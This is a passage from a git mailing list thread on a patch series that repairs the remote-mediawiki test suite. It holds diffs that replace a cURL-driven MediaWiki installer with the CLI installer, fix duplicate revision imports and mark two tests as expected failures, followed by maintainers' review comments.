- * to submit some forms in its web browser. This script simulates this
- * behavior though the functions <get> and <submit>
- *
- */
-$argc = $_SERVER['argc'];
-$argv = $_SERVER['argv'];
-
-$login = $argv[2];
-$pass = $argv[3];
-$tmp = $argv[4];
-$port = $argv[5];
-
-$url = 'http://localhost:'.$port.'/wiki/mw-config/index.php';
-$db_dir = urlencode($tmp);
-$tmp_cookie = tempnam($tmp, "COOKIE_");
-/*
- * Fetches a page with cURL.
- */
-function get($page_name = "") {
-	$curl = curl_init();
-	$page_name_add = "";
-	if ($page_name != "") {
-		$page_name_add = '?page='.$page_name;
-	}
-	$url = $GLOBALS['url'].$page_name_add;
-	$tmp_cookie = $GLOBALS['tmp_cookie'];
-	curl_setopt($curl, CURLOPT_COOKIEJAR, $tmp_cookie);
-	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
-	curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
-	curl_setopt($curl, CURLOPT_COOKIEFILE, $tmp_cookie);
-	curl_setopt($curl, CURLOPT_HEADER, true);
-	curl_setopt($curl, CURLOPT_URL, $url);
-
-	$page = curl_exec($curl);
-	if (!$page) {
-		die("Could not get page: $url\n");
-	}
-	curl_close($curl);
-	return $page;
-}
-
-/*
- * Submits a form with cURL.
- */
-function submit($page_name, $option = "") {
-	$curl = curl_init();
-	$datapost = 'submit-continue=Continue+%E2%86%92';
-	if ($option != "") {
-		$datapost = $option.'&'.$datapost;
-	}
-	$url = $GLOBALS['url'].'?page='.$page_name;
-	$tmp_cookie = $GLOBALS['tmp_cookie'];
-	curl_setopt($curl, CURLOPT_URL, $url);
-	curl_setopt($curl, CURLOPT_POST, true);
-	curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
-	curl_setopt($curl, CURLOPT_POSTFIELDS, $datapost);
-	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
-	curl_setopt($curl, CURLOPT_COOKIEJAR, $tmp_cookie);
-	curl_setopt($curl, CURLOPT_COOKIEFILE, $tmp_cookie);
-
-	$page = curl_exec($curl);
-	if (!$page) {
-		die("Could not get page: $url\n");
-	}
-	curl_close($curl);
-	return "$page";
-}
-
-/*
- * Here starts this script: simulates the behavior of the user
- * submitting forms to generates the database file.
- * Note this simulation was made for the MediaWiki version 1.19.0,
- * we can't assume it works with other versions.
- *
- */
-
-$page = get();
-if (!preg_match('/input type="hidden" value="([0-9]+)" name="LanguageRequestTime"/',
-		$page, $matches)) {
-	echo "Unexpected content for page downloaded:\n";
-	echo "$page";
-	die;
-};
-$timestamp = $matches[1];
-$language = "LanguageRequestTime=$timestamp&uselang=en&ContLang=en";
-$page = submit('Language', $language);
-
-submit('Welcome');
-
-$db_config = 'DBType=sqlite';
-$db_config = $db_config.'&sqlite_wgSQLiteDataDir='.$db_dir;
-$db_config = $db_config.'&sqlite_wgDBname='.$argv[1];
-submit('DBConnect', $db_config);
-
-$wiki_config = 'config_wgSitename=TEST';
-$wiki_config = $wiki_config.'&config__NamespaceType=site-name';
-$wiki_config = $wiki_config.'&config_wgMetaNamespace=MyWiki';
-$wiki_config = $wiki_config.'&config__AdminName='.$login;
-
-$wiki_config = $wiki_config.'&config__AdminPassword='.$pass;
-$wiki_config = $wiki_config.'&config__AdminPassword2='.$pass;
-
-$wiki_config = $wiki_config.'&wiki__configEmail=email%40email.org';
-$wiki_config = $wiki_config.'&config__SkipOptional=skip';
-submit('Name', $wiki_config);
-submit('Install');
-submit('Install');
-
-unlink($tmp_cookie);
-?>
diff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh
index aa04ebfd0f..787a8a3ec0 100755
--- a/contrib/mw-to-git/t/test-gitmw-lib.sh
+++ b/contrib/mw-to-git/t/test-gitmw-lib.sh
@@ -13,7 +13,8 @@
 
 . ./test.config
 
-WIKI_URL=http://"$SERVER_ADDR:$PORT/$WIKI_DIR_NAME"
+WIKI_BASE_URL=http://$SERVER_ADDR:$PORT
+WIKI_URL=$WIKI_BASE_URL/$WIKI_DIR_NAME
 CURR_DIR=$(pwd)
 TEST_OUTPUT_DIRECTORY=$(pwd)
 TEST_DIRECTORY="$CURR_DIR"/../../../t
@@ -291,28 +292,59 @@ stop_lighttpd () {
 	test -f "$WEB_TMP/pid" && kill $(cat "$WEB_TMP/pid")
 }
 
-# Create the SQLite database of the MediaWiki. If the database file already
-# exists, it will be deleted.
-# This script should be runned from the directory where $FILES_FOLDER is
-# located.
-create_db () {
-	rm -f "$TMP/$DB_FILE"
+wiki_delete_db () {
+	rm -rf \
+	   "$FILES_FOLDER_DB"/* || error "Couldn't delete $FILES_FOLDER_DB/"
+}
+
+wiki_delete_db_backup () {
+	rm -rf \
+	   "$FILES_FOLDER_POST_INSTALL_DB"/* || error "Couldn't delete $FILES_FOLDER_POST_INSTALL_DB/"
+}
 
-	echo "Generating the SQLite database file. It can take some time ..."
-	# Run the php script to generate the SQLite database file
-	# with cURL calls.
-	php "$FILES_FOLDER/$DB_INSTALL_SCRIPT" $(basename "$DB_FILE" .sqlite) \
-		"$WIKI_ADMIN" "$WIKI_PASSW" "$TMP" "$PORT"
+# Install MediaWiki using its install.php script. If the database file
+# already exists, it will be deleted.
+install_mediawiki () {
 
-	if ! test -f "$TMP/$DB_FILE"
+	localsettings="$WIKI_DIR_INST/$WIKI_DIR_NAME/LocalSettings.php"
+	if test -f "$localsettings"
 	then
-		error "Can't create database file $TMP/$DB_FILE. Try to run ./install-wiki.sh delete first."
+		error "We already installed the wiki, since $localsettings exists" \
+		      "perhaps you wanted to run 'delete' first?"
 	fi
 
-	# Copy the generated database file into the directory the
-	# user indicated.
-	cp "$TMP/$DB_FILE" "$FILES_FOLDER" ||
-		error "Unable to copy $TMP/$DB_FILE to $FILES_FOLDER"
+	wiki_delete_db
+	wiki_delete_db_backup
+	mkdir \
+		"$FILES_FOLDER_DB/" \
+		"$FILES_FOLDER_POST_INSTALL_DB/"
+
+	install_script="$WIKI_DIR_INST/$WIKI_DIR_NAME/maintenance/install.php"
+	echo "Installing MediaWiki using $install_script. This may take some time ..."
+
+	php "$WIKI_DIR_INST/$WIKI_DIR_NAME/maintenance/install.php" \
+	    --server $WIKI_BASE_URL \
+	    --scriptpath /wiki \
+	    --lang en \
+	    --dbtype sqlite \
+	    --dbpath $PWD/$FILES_FOLDER_DB/ \
+	    --pass "$WIKI_PASSW" \
+	    Git-MediaWiki-Test \
+	    "$WIKI_ADMIN" ||
+		error "Couldn't run $install_script, see errors above. Try to run ./install-wiki.sh delete first."
+	cat <<-'EOF' >>$localsettings
+# Custom settings added by test-gitmw-lib.sh
+#
+# Uploading text files is needed for
+# t9363-mw-to-git-export-import.sh
+$wgEnableUploads = true;
+$wgFileExtensions[] = 'txt';
+EOF
+
+	# Copy the initially generated database file into our backup
+	# folder
+	cp -R "$FILES_FOLDER_DB/"* "$FILES_FOLDER_POST_INSTALL_DB/" ||
+		error "Unable to copy $FILES_FOLDER_DB/* to $FILES_FOLDER_POST_INSTALL_DB/*"
 }
 
 # Install a wiki in your web server directory.
@@ -321,7 +353,6 @@ wiki_install () {
 		start_lighttpd
 	fi
 
-	SERVER_ADDR=$SERVER_ADDR:$PORT
 	# In this part, we change directory to $TMP in order to download,
 	# unpack and copy the files of MediaWiki
 	(
@@ -332,9 +363,10 @@ wiki_install () {
 		Please create it and launch the script again."
 	fi
 
-	# Fetch MediaWiki's archive if not already present in the TMP directory
+	# Fetch MediaWiki's archive if not already present in download directory
+	mkdir -p "$FILES_FOLDER_DOWNLOAD"
 	MW_FILENAME="mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz"
-	cd "$TMP"
+	cd "$FILES_FOLDER_DOWNLOAD"
 	if ! test -f $MW_FILENAME
 	then
 		echo "Downloading $MW_VERSION_MAJOR.$MW_VERSION_MINOR sources ..."
@@ -355,49 +387,12 @@ wiki_install () {
 		error "Unable to extract WikiMedia's files from $archive_abs_path to "\
 			"$WIKI_DIR_INST/$WIKI_DIR_NAME"
 	) || exit 1
+	echo Extracted in "$WIKI_DIR_INST/$WIKI_DIR_NAME"
 
-	create_db
-
-	# Copy the generic LocalSettings.php in the web server's directory
-	# And modify parameters according to the ones set at the top
-	# of this script.
-	# Note that LocalSettings.php is never modified.
-	if ! test -f "$FILES_FOLDER/LocalSettings.php"
-	then
-		error "Can't find $FILES_FOLDER/LocalSettings.php " \
-			"in the current folder. "\
-		"Please run the script inside its folder."
-	fi
-	cp "$FILES_FOLDER/LocalSettings.php" \
-		"$FILES_FOLDER/LocalSettings-tmp.php" ||
-		error "Unable to copy $FILES_FOLDER/LocalSettings.php " \
-		"to $FILES_FOLDER/LocalSettings-tmp.php"
-
-	# Parse and set the LocalSettings file of the user according to the
-	# CONFIGURATION VARIABLES section at the beginning of this script
-	file_swap="$FILES_FOLDER/LocalSettings-swap.php"
-	sed "s,@WG_SCRIPT_PATH@,/$WIKI_DIR_NAME," \
-		"$FILES_FOLDER/LocalSettings-tmp.php" > "$file_swap"
-	mv "$file_swap" "$FILES_FOLDER/LocalSettings-tmp.php"
-	sed "s,@WG_SERVER@,http://$SERVER_ADDR," \
-		"$FILES_FOLDER/LocalSettings-tmp.php" > "$file_swap"
-	mv "$file_swap" "$FILES_FOLDER/LocalSettings-tmp.php"
-	sed "s,@WG_SQLITE_DATADIR@,$TMP," \
-		"$FILES_FOLDER/LocalSettings-tmp.php" > "$file_swap"
-	mv "$file_swap" "$FILES_FOLDER/LocalSettings-tmp.php"
-	sed "s,@WG_SQLITE_DATAFILE@,$( basename $DB_FILE .sqlite)," \
-		"$FILES_FOLDER/LocalSettings-tmp.php" > "$file_swap"
-	mv "$file_swap" "$FILES_FOLDER/LocalSettings-tmp.php"
-
-	mv "$FILES_FOLDER/LocalSettings-tmp.php" \
-		"$WIKI_DIR_INST/$WIKI_DIR_NAME/LocalSettings.php" ||
-		error "Unable to move $FILES_FOLDER/LocalSettings-tmp.php" \
-		"in $WIKI_DIR_INST/$WIKI_DIR_NAME"
-	echo "File $FILES_FOLDER/LocalSettings.php is set in" \
-		" $WIKI_DIR_INST/$WIKI_DIR_NAME"
+	install_mediawiki
 
 	echo "Your wiki has been installed. You can check it at
-		http://$SERVER_ADDR/$WIKI_DIR_NAME"
+		$WIKI_URL"
 }
 
 # Reset the database of the wiki and the password of the admin
@@ -405,13 +400,18 @@ wiki_install () {
 # Warning: This function must be called only in a subdirectory of t/ directory
 wiki_reset () {
 	# Copy initial database of the wiki
-	if ! test -f "../$FILES_FOLDER/$DB_FILE"
+	if ! test -d "../$FILES_FOLDER_DB"
 	then
-		error "Can't find ../$FILES_FOLDER/$DB_FILE in the current folder."
+		error "No wiki database at ../$FILES_FOLDER_DB, not installed yet?"
 	fi
-	cp "../$FILES_FOLDER/$DB_FILE" "$TMP" ||
-		error "Can't copy ../$FILES_FOLDER/$DB_FILE in $TMP"
-	echo "File $FILES_FOLDER/$DB_FILE is set in $TMP"
+	if ! test -d "../$FILES_FOLDER_POST_INSTALL_DB"
+	then
+		error "No wiki backup database at ../$FILES_FOLDER_POST_INSTALL_DB, failed installation?"
+	fi
+	wiki_delete_db
+	cp -R "../$FILES_FOLDER_POST_INSTALL_DB/"* "../$FILES_FOLDER_DB/" ||
+		error "Can't copy ../$FILES_FOLDER_POST_INSTALL_DB/* to ../$FILES_FOLDER_DB/*"
+	echo "File $FILES_FOLDER_DB/* has been reset"
 }
 
 # Delete the wiki created in the web server's directory and all its content
@@ -425,13 +425,7 @@ wiki_delete () {
 		rm -rf "$WIKI_DIR_INST/$WIKI_DIR_NAME" ||
 			error "Wiki's directory $WIKI_DIR_INST/" \
 			"$WIKI_DIR_NAME could not be deleted"
-		# Delete the wiki's SQLite database.
-		rm -f "$TMP/$DB_FILE" ||
-			error "Database $TMP/$DB_FILE could not be deleted."
 	fi
-
-	# Delete the wiki's SQLite database
-	rm -f "$TMP/$DB_FILE" || error "Database $TMP/$DB_FILE could not be deleted."
-	rm -f "$FILES_FOLDER/$DB_FILE"
-	rm -rf "$TMP/mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz"
+	wiki_delete_db
+	wiki_delete_db_backup
 }
diff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config
index 3ab56c7165..ed10b3e4a4 100644
--- a/contrib/mw-to-git/t/test.config
+++ b/contrib/mw-to-git/t/test.config
@@ -8,10 +8,6 @@ WIKI_PASSW=AdminPass1
 # Address of the web server
 SERVER_ADDR=localhost
 
-# SQLite database of the wiki, named DB_FILE, is located in TMP
-TMP=/tmp
-DB_FILE=wikidb.sqlite
-
 # If LIGHTTPD is not set to true, the script will use the default
 # web server running in WIKI_DIR_INST.
 WIKI_DIR_INST=/var/www
@@ -28,13 +24,17 @@ WEB=WEB
 WEB_TMP=$WEB/tmp
 WEB_WWW=$WEB/www
 
+# Where our configuration for the wiki is located
+FILES_FOLDER=mediawiki
+FILES_FOLDER_DOWNLOAD=$FILES_FOLDER/download
+FILES_FOLDER_DB=$FILES_FOLDER/db
+FILES_FOLDER_POST_INSTALL_DB=$FILES_FOLDER/post-install-db
+
 # The variables below are used by the script to install a wiki.
 # You should not modify these unless you are modifying the script itself.
-# tested versions: 1.19.X -> 1.21.1
+# tested versions: 1.19.X -> 1.21.1 -> 1.34.2
 #
 # See https://www.mediawiki.org/wiki/Download for what the latest
 # version is.
-MW_VERSION_MAJOR=1.21
-MW_VERSION_MINOR=1
-FILES_FOLDER=install-wiki
-DB_INSTALL_SCRIPT=db_install.php
+MW_VERSION_MAJOR=1.34
+MW_VERSION_MINOR=2
-- 
2.28.0.297.g1956fa8f8d

[PATCH 14/15] remote-mediawiki: fix duplicate revisions being imported

[Ævar Arnfjörð Bjarmason]

From: Simon Legner <Simon.Legner@gmail.com>

Fix a bug with revisions being imported twice. This commit is being
backported from Git-Mediawiki.git's e41ee9b ("All revisions imported
twice", 2018-02-02) to git.git. See [1] for the original commit and
[2] and [3] for the upstream PR and issue.

1. https://github.com/Git-Mediawiki/Git-Mediawiki/commit/e41ee9b3a32416df381cdc79f63350665c84151e
2. https://github.com/Git-Mediawiki/Git-Mediawiki/pull/61
3. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/29

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/git-remote-mediawiki.perl | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl
index 08190e23e1..26d5e1a174 100755
--- a/contrib/mw-to-git/git-remote-mediawiki.perl
+++ b/contrib/mw-to-git/git-remote-mediawiki.perl
@@ -807,7 +807,10 @@ sub get_more_refs {
 sub mw_import {
 	# multiple import commands can follow each other.
 	my @refs = (shift, get_more_refs('import'));
+	my $processedRefs;
 	foreach my $ref (@refs) {
+		next if $processedRefs->{$ref}; # skip duplicates: "import refs/heads/master" being issued twice; TODO: why?
+		$processedRefs->{$ref} = 1;
 		mw_import_ref($ref);
 	}
 	print {*STDOUT} "done\n";
-- 
2.28.0.297.g1956fa8f8d

[PATCH 15/15] remote-mediawiki tests: annotate failing tests

[Ævar Arnfjörð Bjarmason]

These tests consistently fail for me, and were failing before any of
the changes in this series. As noted in [1] there are some known
intermittent test failures. Let's mark these as failing so we can have
an otherwise passing test suite.

1. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/56

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
index d3de6c204a..2b5b3b6896 100755
--- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
+++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
@@ -32,7 +32,7 @@ test_expect_success 'setup config' '
 	test_might_fail git config --global --unset remote.origin.mediaImport
 '
 
-test_expect_success 'git push can upload media (File:) files' '
+test_expect_failure 'git push can upload media (File:) files' '
 	wiki_reset &&
 	git clone mediawiki::'"$WIKI_URL"' mw_dir &&
 	(
@@ -48,7 +48,7 @@ test_expect_success 'git push can upload media (File:) files' '
 	)
 '
 
-test_expect_success 'git clone works on previously created wiki with media files' '
+test_expect_failure 'git clone works on previously created wiki with media files' '
 	test_when_finished "rm -rf mw_dir mw_dir_clone" &&
 	git clone -c remote.origin.mediaimport=true \
 		mediawiki::'"$WIKI_URL"' mw_dir_clone &&
-- 
2.28.0.297.g1956fa8f8d

Re: [PATCH 03/15] remote-mediawiki doc: bump recommended PHP version to 7.3

[Đoàn Trần Công Danh]

On 2020-09-16 12:29:06+0200, Ævar Arnfjörð Bjarmason <avarab@gmail.com> wrote:
> Change the version in the documentation to what's currently in Debian
> stable. Ideally we wouldn't have to keep changing this version, but if
> it's going to be hardcoded let's use something that works on a modern
> installation.
> 
> Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
> ---
>  contrib/mw-to-git/t/README | 10 +++++-----
>  1 file changed, 5 insertions(+), 5 deletions(-)
> 
> diff --git a/contrib/mw-to-git/t/README b/contrib/mw-to-git/t/README
> index 2ee34be7e4..d9c85e2c63 100644
> --- a/contrib/mw-to-git/t/README
> +++ b/contrib/mw-to-git/t/README
> @@ -14,11 +14,11 @@ install the following packages (Debian/Ubuntu names, may need to be
>  adapted for another distribution):
>  
>  * lighttpd
> -* php5
> -* php5-cgi
> -* php5-cli
> -* php5-curl
> -* php5-sqlite
> +* php7.3
> +* php7.3-cgi
> +* php7.3-cli
> +* php7.3-curl
> +* php7.3-sqlite

Debian also provides meta package for those packages, built from
php-defaults [1]:

* php
* php-cgi
* php-cli
* php-curl
* php-sqlite3

They'll pull current php7.3-* packages as dependencies.

1: https://packages.debian.org/source/buster/php-defaults

-- 
Danh

Re: [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file

[Đoàn Trần Công Danh]

On 2020-09-16 12:29:10+0200, Ævar Arnfjörð Bjarmason <avarab@gmail.com> wrote:
> Change a test that used a plain test_cmp to first check the file(s)
> using test_path_is_file. If some of these file(s) don't exist (as
> happened to me during debugging), test_cmp will emit a way less useful
> message about the failure.

IIRC, <20200809174209.15466-1-sunshine@sunshineco.com> was meant to
solve this problem.

The version you're using (v2.28.0-297-g1956fa8f8d) should have it
integrated already. The test should barf with:

	error: bug in the test script: test_cmp '<file-name>' missing

Am I missed anything?

-- 
Danh

> 
> Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
> ---
>  contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 7 +++++++
>  1 file changed, 7 insertions(+)
> 
> diff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
> index 43580af3cf..d3de6c204a 100755
> --- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
> +++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
> @@ -52,9 +52,13 @@ test_expect_success 'git clone works on previously created wiki with media files
>  	test_when_finished "rm -rf mw_dir mw_dir_clone" &&
>  	git clone -c remote.origin.mediaimport=true \
>  		mediawiki::'"$WIKI_URL"' mw_dir_clone &&
> +	test_path_is_file mw_dir_clone/Foo.txt &&
> +	test_path_is_file mw_dir/Foo.txt &&
>  	test_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt &&
>  	(cd mw_dir_clone && git checkout HEAD^) &&
>  	(cd mw_dir && git checkout HEAD^) &&
> +	test_path_is_file mw_dir_clone/Foo.txt &&
> +	test_path_is_file mw_dir/Foo.txt &&
>  	test_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt
>  '
>  
> @@ -74,6 +78,8 @@ test_expect_success 'git clone works on previously created wiki with media files
>  	test_when_finished "rm -rf mw_dir mw_dir_clone" &&
>  	git clone -c remote.origin.mediaimport=true \
>  		mediawiki::'"$WIKI_URL"' mw_dir_clone &&
> +	test_path_is_file mw_dir_clone/Bar.txt &&
> +	test_path_is_file mw_dir/Bar.txt &&
>  	test_cmp mw_dir_clone/Bar.txt mw_dir/Bar.txt
>  '
>  
> @@ -90,6 +96,7 @@ test_expect_success 'git push & pull work with locally renamed media files' '
>  		git commit -m "Rename a file" &&
>  		test_git_reimport &&
>  		echo "A File" >expect &&
> +		test_path_is_file Bar.txt &&
>  		test_cmp expect Bar.txt &&
>  		test_path_is_missing Foo.txt
>  	)
> -- 
> 2.28.0.297.g1956fa8f8d
> 

-- 
Danh

Re: [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file

[Eric Sunshine]

On Wed, Sep 16, 2020 at 8:17 AM Ævar Arnfjörð Bjarmason
<avarab@gmail.com> wrote:
> Change a test that used a plain test_cmp to first check the file(s)
> using test_path_is_file. If some of these file(s) don't exist (as
> happened to me during debugging), test_cmp will emit a way less useful
> message about the failure.

An alternative would be to update test_cmp() to present a more helpful
error message so that all test scripts can benefit rather than just
this script. By the way, were you testing with a reasonably recent
version of Git? I ask because test_cmp() was updated not long ago to
provide better diagnostics when one of the files is missing.

[1]: d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09)

Re: [PATCH 06/15] remote-mediawiki tests: use test_cmp in tests

[Jeff King]

On Wed, Sep 16, 2020 at 12:29:09PM +0200, Ævar Arnfjörð Bjarmason wrote:

> Change code that used an ad-hoc diff invocation to use our test_cmp
> helper instead. I'm also changing the order of arguments to be the
> standard "test_cmp <expected> <actual>".

Definitely a positive direction, but...

> diff --git a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh
> index 9106833578..4c39bda7bf 100755
> --- a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh
> +++ b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh
> @@ -28,7 +28,7 @@ test_expect_success 'Git clone creates the expected git log with one file' '
>  		git log --format=%s HEAD^..HEAD >log.tmp
>  	) &&
>  	echo "this must be the same" >msg.tmp &&
> -	diff -b mw_dir_1/log.tmp msg.tmp
> +	test_cmp msg.tmp mw_dir_1/log.tmp
>  '

...the original was ignoring whitespace. Is that not important?

-Peff

Re: [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file

[Jeff King]

On Wed, Sep 16, 2020 at 12:29:10PM +0200, Ævar Arnfjörð Bjarmason wrote:

> Change a test that used a plain test_cmp to first check the file(s)
> using test_path_is_file. If some of these file(s) don't exist (as
> happened to me during debugging), test_cmp will emit a way less useful
> message about the failure.

This seems like a problem that would exist in basically every test that
uses test_cmp (well, many of them do ">actual", so it's unlikely that
the content would be missing, but it would be true of any test that
expects a command to generate a file).

Rather than annotate each site, could we teach test_cmp to show a nicer
message?

-Peff

Re: [PATCH 09/15] remote-mediawiki tests: use "$dir/" instead of "$dir."

[Jeff King]

On Wed, Sep 16, 2020 at 12:29:12PM +0200, Ævar Arnfjörð Bjarmason wrote:

> Change UI messages to use "$dir/" instead of "$dir.". I think this is
> less confusing.

Yeah, a trailing slash is a nice indicator. In the first message,
though:

> -		echo "$MW_FILENAME downloaded in $(pwd). "\
> +		echo "$MW_FILENAME downloaded in $(pwd)/ "\
>  			"You can delete it later if you want."

...we've lost the period separating the two sentences. So you get:

  foo downloaded in /some/path/  You can delete it later if you want.

(the two spaces are because "echo" adds an extra space between the
arguments). Maybe:

  foo downloaded in /some/path/; you can delete it later if you want.

or something?

-Peff

Re: [PATCH 11/15] remote-mediawiki tests: replace deprecated Perl construct

[Jeff King]

On Wed, Sep 16, 2020 at 12:29:14PM +0200, Ævar Arnfjörð Bjarmason wrote:

> The use of the encoding pragma has been a hard error since Perl 5.18,
> which was released in 2013. What this script really wanted to do was
> to decode @ARGV and write out some files with the UTF-8 PerlIO
> layer. Let's just do that explicitly instead.

Makes sense. After reading this, I expected the utf::decode() for argv
you added, but wondered about the UTF-8 output. But I think the "use
open ':encoding(utf8)'" below takes care of that.

-Peff

Re: [PATCH 00/15] remote-mediawiki: various fixes to make tests pass

[Jeff King]

On Wed, Sep 16, 2020 at 12:29:03PM +0200, Ævar Arnfjörð Bjarmason wrote:

> I had occasion to look at remote-mediawiki and I couldn't even get the
> test suite to run. The patches below have more detail but there's
> issues like a hard error on any Perl release newer than ones released
> in 2013, and the MediaWiki release it tries to use spewing errors on
> any modern PHP version.
> 
> This series fixes these issues. With it applied it's possible to run
> the tests, and they all pass.

These all look reasonable. I left a few minor comments, but frankly, I
care little enough about this clearly unmaintained bit of contrib/ that
I would be happy either way.

I am a little puzzled about what we want the future of contrib/mw-to-git
to be. It sounds like there have been a few minor improvements in the
external GitHub project (though clearly lacking a bunch of fixes you
have here). Should we be pushing these fixes up to that version and then
either:

  - considering that project the upstream, and reimporting from them
    once the fixes are merged there

  - ejecting it from contrib/; it can live on as a separate project

-Peff

Re: [PATCH 00/15] remote-mediawiki: various fixes to make tests pass

[Johannes Schindelin]

[-- Attachment #1: Type: text/plain, Size: 2983 bytes --]

Hi Ævar,

On Wed, 16 Sep 2020, Ævar Arnfjörð Bjarmason wrote:

> I had occasion to look at remote-mediawiki and I couldn't even get the
> test suite to run. The patches below have more detail but there's
> issues like a hard error on any Perl release newer than ones released
> in 2013, and the MediaWiki release it tries to use spewing errors on
> any modern PHP version.
>
> This series fixes these issues. With it applied it's possible to run
> the tests, and they all pass.

I glimpsed through the patches, and they all look in pretty good shape. I
just wish that the TODO in Simon's patch had been resolved, and that the
test failures had been root-caused, but then, I personally do not really
care all that much about the `remote-mediawiki` backend any longer, so I
am fine with the patches as-are (modulo Danh's/Eric's nit about the
extra tests before `test_cmp`).

Thanks,
Dscho

>
> Simon Legner (1):
>   remote-mediawiki: fix duplicate revisions being imported
>
> Ævar Arnfjörð Bjarmason (14):
>   remote-mediawiki doc: correct link to GitHub project
>   remote-mediawiki doc: link to MediaWiki's current version
>   remote-mediawiki doc: bump recommended PHP version to 7.3
>   remote-mediawiki tests: use the login/password variables
>   remote-mediawiki tests: use a 10 character password
>   remote-mediawiki tests: use test_cmp in tests
>   remote-mediawiki tests: guard test_cmp with test_path_is_file
>   remote-mediawiki tests: change `[]` to `test`
>   remote-mediawiki tests: use "$dir/" instead of "$dir."
>   remote-mediawiki tests: use a more idiomatic dispatch table
>   remote-mediawiki tests: replace deprecated Perl construct
>   remote-mediawiki tests: use inline PerlIO for readability
>   remote-mediawiki tests: use CLI installer
>   remote-mediawiki tests: annotate failing tests
>
>  contrib/mw-to-git/git-mw.perl                 |   2 +-
>  contrib/mw-to-git/git-remote-mediawiki.perl   |   5 +-
>  contrib/mw-to-git/git-remote-mediawiki.txt    |   2 +-
>  contrib/mw-to-git/t/.gitignore                |   2 +-
>  contrib/mw-to-git/t/README                    |  10 +-
>  contrib/mw-to-git/t/install-wiki/.gitignore   |   1 -
>  .../t/install-wiki/LocalSettings.php          | 129 --------------
>  .../mw-to-git/t/install-wiki/db_install.php   | 120 -------------
>  contrib/mw-to-git/t/t9360-mw-to-git-clone.sh  |   8 +-
>  .../t/t9363-mw-to-git-export-import.sh        |  15 +-
>  contrib/mw-to-git/t/test-gitmw-lib.sh         | 159 +++++++++---------
>  contrib/mw-to-git/t/test-gitmw.pl             |  22 ++-
>  contrib/mw-to-git/t/test.config               |  23 +--
>  13 files changed, 129 insertions(+), 369 deletions(-)
>  delete mode 100644 contrib/mw-to-git/t/install-wiki/.gitignore
>  delete mode 100644 contrib/mw-to-git/t/install-wiki/LocalSettings.php
>  delete mode 100644 contrib/mw-to-git/t/install-wiki/db_install.php
>
> --
> 2.28.0.297.g1956fa8f8d
>
>

Re: [PATCH 03/15] remote-mediawiki doc: bump recommended PHP version to 7.3

[Junio C Hamano]

Đoàn Trần Công Danh  <congdanhqx@gmail.com> writes:

> On 2020-09-16 12:29:06+0200, Ævar Arnfjörð Bjarmason <avarab@gmail.com> wrote:
>> Change the version in the documentation to what's currently in Debian
>> stable. Ideally we wouldn't have to keep changing this version, but if
>> it's going to be hardcoded let's use something that works on a modern
>> installation.
>> 
>> Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
>> ---
>>  contrib/mw-to-git/t/README | 10 +++++-----
>>  1 file changed, 5 insertions(+), 5 deletions(-)
>> 
>> diff --git a/contrib/mw-to-git/t/README b/contrib/mw-to-git/t/README
>> index 2ee34be7e4..d9c85e2c63 100644
>> --- a/contrib/mw-to-git/t/README
>> +++ b/contrib/mw-to-git/t/README
>> @@ -14,11 +14,11 @@ install the following packages (Debian/Ubuntu names, may need to be
>>  adapted for another distribution):
>> ...
> Debian also provides meta package for those packages, built from
> php-defaults [1]:
>
> * php
> * php-cgi
> * php-cli
> * php-curl
> * php-sqlite3
>
> They'll pull current php7.3-* packages as dependencies.
>
> 1: https://packages.debian.org/source/buster/php-defaults

Looks like a good way to go.  Thanks.

Re: [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file

[Junio C Hamano]

Eric Sunshine <sunshine@sunshineco.com> writes:

> On Wed, Sep 16, 2020 at 8:17 AM Ævar Arnfjörð Bjarmason
> <avarab@gmail.com> wrote:
>> Change a test that used a plain test_cmp to first check the file(s)
>> using test_path_is_file. If some of these file(s) don't exist (as
>> happened to me during debugging), test_cmp will emit a way less useful
>> message about the failure.
>
> An alternative would be to update test_cmp() to present a more helpful
> error message so that all test scripts can benefit rather than just
> this script. By the way, were you testing with a reasonably recent
> version of Git? I ask because test_cmp() was updated not long ago to
> provide better diagnostics when one of the files is missing.
>
> [1]: d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09)

